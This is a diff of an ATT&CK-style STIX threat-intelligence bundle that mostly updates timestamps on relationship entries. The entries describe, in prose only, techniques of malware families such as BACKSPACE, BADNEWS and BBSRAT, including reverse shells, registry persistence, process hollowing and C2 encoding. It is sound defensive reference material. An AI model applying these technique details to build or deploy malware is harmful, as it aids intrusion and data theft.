-            "description": "AutoIt downloads a PowerShell script that decodes to a typical shellcode loader.",
+            "description": "AutoIt backdoor downloads a PowerShell script that decodes to a typical shellcode loader.",
             "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
             "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
             "object_marking_refs": [
@@ -34388,7 +40690,7 @@
             "id": "relationship--5697b245-d888-40ab-af72-9236c6daa273",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE uses HTTP as a transport to communicate with its command server.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34409,7 +40711,7 @@
             "id": "relationship--7cbedb9a-666f-47eb-b70e-905bcf80940a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The \"ZJ\" variant of BACKSPACE allows \"ZJ link\" infections with Internet access to relay traffic from \"ZJ listen\" to a command server.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34430,7 +40732,7 @@
             "id": "relationship--991c16bd-c17b-479a-8f45-385467323c0a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE allows adversaries to search for files.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34451,7 +40753,7 @@
             "id": "relationship--64cb753d-eb72-4dce-a417-7df747334347",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE may collect information about running processes.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34472,7 +40774,7 @@
             "id": "relationship--9267fe42-6290-4342-8024-38d703db4376",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adversaries can direct BACKSPACE to upload files to the C2 Server.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34493,7 +40795,7 @@
             "id": "relationship--3f14994e-149d-4cca-85b8-eec0964120d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adversaries can direct BACKSPACE to execute from the command-line on infected hosts, or have BACKSPACE create a reverse shell.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34514,7 +40816,7 @@
             "id": "relationship--564de5da-7ecc-45c7-bbd5-619a8f316f70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE is capable of enumerating and making modifications to an infected system's Registry.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34535,7 +40837,7 @@
             "id": "relationship--80aab758-d3fc-4380-b114-e552bdace832",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34556,7 +40858,7 @@
             "id": "relationship--16cb7ede-b431-4711-bcb1-91bc925663e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "During its initial execution, BACKSPACE extracts operating system information from the infected host.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34577,7 +40879,7 @@
             "id": "relationship--6c0aae73-fe06-4aa3-8216-568d78747c6d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Newer variants of BACKSPACE will encode C2 communications with a custom system.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34598,7 +40900,7 @@
             "id": "relationship--eb7a6a3f-cc88-4ed7-8421-4642c1eb1978",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The \"ZR\" variant of BACKSPACE will check to see if known host-based firewalls are installed on the infected systems. BACKSPACE will attempt to establish a C2 channel, then will examine open windows to identify a pop-up from the firewall software and will simulate a mouse-click to allow the connection to proceed.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34619,7 +40921,7 @@
             "id": "relationship--a6962782-1942-42f5-a627-f205376e2ec2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs \"louder\" interactions with the malware.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34640,7 +40942,7 @@
             "id": "relationship--2dec6ce1-e459-4266-86d5-f336ab056f17",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE is capable of deleting Registry keys, sub-keys, and values on a victim system.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34661,7 +40963,7 @@
             "id": "relationship--c327c333-46c4-4e23-81e0-2f0e07c24c11",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
@@ -34682,7 +40984,7 @@
             "id": "relationship--283e242a-72d4-4b40-8905-888595c34919",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS typically loads its DLL file into a legitimate signed Java executable.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34703,7 +41005,7 @@
             "id": "relationship--8c359d18-06fc-4db1-9b58-6e85fa563066",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS installs a registry Run key to establish persistence.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34724,7 +41026,7 @@
             "id": "relationship--0c870326-6b8a-4279-bbd3-2c1ae23ba54a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS can use multiple C2 channels, including RSS feeds, Github, forums, and blogs.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34745,7 +41047,7 @@
             "id": "relationship--1ba38510-0489-4305-944f-451e6869b30f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS encrypts C2 data with a ROR by 3 and an XOR by 0x23.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34766,7 +41068,7 @@
             "id": "relationship--3884be12-f73f-4f9b-875e-68d40798faf6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After encrypting C2 data, BADNEWS converts it into a hexadecimal representation and then encodes it into base64.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34787,7 +41089,7 @@
             "id": "relationship--a5b4d08c-963a-48fe-8f22-ba344835d00e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS has a command to download an .exe and use process hollowing to inject it into a new process.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34808,7 +41110,7 @@
             "id": "relationship--d15cda3e-7ed6-4914-a0a8-ff1f4fe668ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS has a command to download an .exe and execute it via CreateProcess API.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34829,7 +41131,7 @@
             "id": "relationship--b3f53743-4bd9-47a6-bf41-6f7786bbdc87",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS is capable of downloading additional files through C2 channels, including a new version of itself.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34850,7 +41152,7 @@
             "id": "relationship--11010986-1b4d-4158-b47d-bbff34306c98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS has a command to take a screenshot and send it to the C2 server.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34871,7 +41173,7 @@
             "id": "relationship--3e09a5ce-a6a0-4f03-8c23-a7ebb4dfd74c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "When it first starts, BADNEWS spawns a new thread to log keystrokes.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34892,7 +41194,7 @@
             "id": "relationship--11a7431f-416f-48de-a3c0-8782abdede63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "When it first starts, BADNEWS crawls the victim's local drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34913,7 +41215,7 @@
             "id": "relationship--a2a31eb7-0b22-416c-b12d-e52e5f37f8b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS is capable of executing commands via cmd.exe.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34934,7 +41236,7 @@
             "id": "relationship--6c9649b7-00c6-4503-a911-9e8b9086eac4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "When it first starts, BADNEWS crawls the victim's mapped drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34955,7 +41257,7 @@
             "id": "relationship--db8f1355-57f0-446d-a261-b168497b20c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS copies documents under 15MB found on the victim system to is the user's <code>%temp%\\SMB\\</code> folder.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34976,7 +41278,7 @@
             "id": "relationship--f9c7d0e1-135f-4e21-8251-3049bc24c18d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -34997,7 +41299,7 @@
             "id": "relationship--79f0712b-2cb1-47df-8ea1-26fb1502a831",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS encodes C2 traffic with base64.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
@@ -35018,7 +41320,7 @@
             "id": "relationship--8793b289-4b74-4119-8561-a9ad27dacdff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList <code>{42aedc87-2188-41fd-b9a3-0c966feabec1}</code> or Microsoft WBEM New Event Subsystem <code>{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}</code> depending on the system's CPU architecture.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35039,7 +41341,7 @@
             "id": "relationship--6b19a5ae-3f6a-4950-94da-22d94477d5d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DLL side-loading has been used to execute BBSRAT through a legitimate Citrix executable ssonsvr.exe which is vulnerable to the technique. The Citrix executable was dropped along with BBSRAT by the dropper.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35060,7 +41362,7 @@
             "id": "relationship--ec6074e4-4137-42a4-86c8-1ea95ce54df6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT has been seen loaded into msiexece.exe through process hollowing to hide its execution.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35081,7 +41383,7 @@
             "id": "relationship--4af1ec66-5007-49df-8a10-df2c8ed7edc8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the registry run key location: <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ssonsvr.exe</code>",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35095,7 +41397,7 @@
             "id": "relationship--b3bc844c-bebf-4756-8d33-6e16ca4ee6a1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT uses HTTP TCP port 80 and HTTPS TCP port 443 for communications.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35116,7 +41418,7 @@
             "id": "relationship--7fd6c479-00ae-478d-a29b-fc40619eea97",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35137,7 +41439,7 @@
             "id": "relationship--805f7ba3-a904-410c-b9fd-20356c595b19",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT uses a custom encryption algorithm on data sent back to the C2 server over HTTP.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35158,7 +41460,7 @@
             "id": "relationship--59b39f06-a71c-42f7-92f2-244a183113d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT can start, stop, or delete services.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35179,7 +41481,7 @@
             "id": "relationship--96077086-d811-47a1-a805-decbf6f249b7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT can modify service configurations.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35200,7 +41502,7 @@
             "id": "relationship--b82f51f9-74a0-43e1-b3c6-63df3a90c9eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT can list running processes.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35221,7 +41523,7 @@
             "id": "relationship--54e99ba2-143f-43be-8d7f-79de5551d1ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT can query service configuration information.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35242,7 +41544,7 @@
             "id": "relationship--8beb37e3-5cf0-4229-ae27-186a37133521",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT can list file and directory information.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35263,7 +41565,7 @@
             "id": "relationship--93812c9c-39f1-4bf6-adda-601d0ffd88bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT can delete files and directories.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
@@ -35284,7 +41586,7 @@
             "id": "relationship--3ac3a282-e1be-45f8-8974-0a94e5d43644",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BISCUIT malware contains a secondary fallback command and control server that is contacted after the primary command and control server.",
             "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
@@ -35310,7 +41612,7 @@
             "id": "relationship--8b0e9de1-a7b0-479e-aee7-76f2549508c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BLACKCOFFEE uses Microsoft\u2019s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server.",
             "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
@@ -35331,7 +41633,7 @@
             "id": "relationship--25ad5783-c7fe-4715-b4ce-c03b36ccdfa8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BLACKCOFFEE uses Microsoft\u2019s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims\u2019 machines.",
             "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
@@ -35352,7 +41654,7 @@
             "id": "relationship--41747c46-1dd1-418b-84e9-75710f17a10c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BLACKCOFFEE has the capability to create a reverse shell.",
             "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
@@ -35373,7 +41675,7 @@
             "id": "relationship--007cc21a-685a-4701-99c1-20f258cedc7c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BLACKCOFFEE has the capability to enumerate files.",
             "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
@@ -35394,7 +41696,7 @@
             "id": "relationship--5a77e097-3aed-4bd3-b5fc-997746da62ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BLACKCOFFEE has the capability to discover processes.",
             "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
@@ -35415,7 +41717,7 @@
             "id": "relationship--9fe01f98-e0b3-4749-b9a6-eb10c216c548",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BLACKCOFFEE has the capability to delete files.",
             "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
@@ -35436,7 +41738,7 @@
             "id": "relationship--63d53308-7d7d-4777-a1cc-c7100735609c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BOOTRASH is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence.",
             "source_ref": "malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3",
@@ -35457,7 +41759,7 @@
             "id": "relationship--a805a8d5-632c-48df-909d-c3d745652475",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BS2005 uses Base64 encoding for communication in the message body of an HTTP request.",
             "source_ref": "malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6",
@@ -35478,7 +41780,7 @@
             "id": "relationship--2b2cdb6b-c23c-4792-8cfb-8c4d9279a186",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BUBBLEWRAP can communicate using HTTP or HTTPS.",
             "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
@@ -35499,7 +41801,7 @@
             "id": "relationship--ea4c3651-b2a3-418e-8d3b-3c8075b988ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BUBBLEWRAP collects system information, including the operating system version and hostname.",
             "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
@@ -35520,7 +41822,7 @@
             "id": "relationship--b9b0e376-f249-432f-a0d3-dfa259b4757a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BUBBLEWRAP can communicate using SOCKS.",
             "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
@@ -35541,7 +41843,7 @@
             "id": "relationship--535e3fbe-e6d9-4608-9689-f8f1f8c1ddc9",
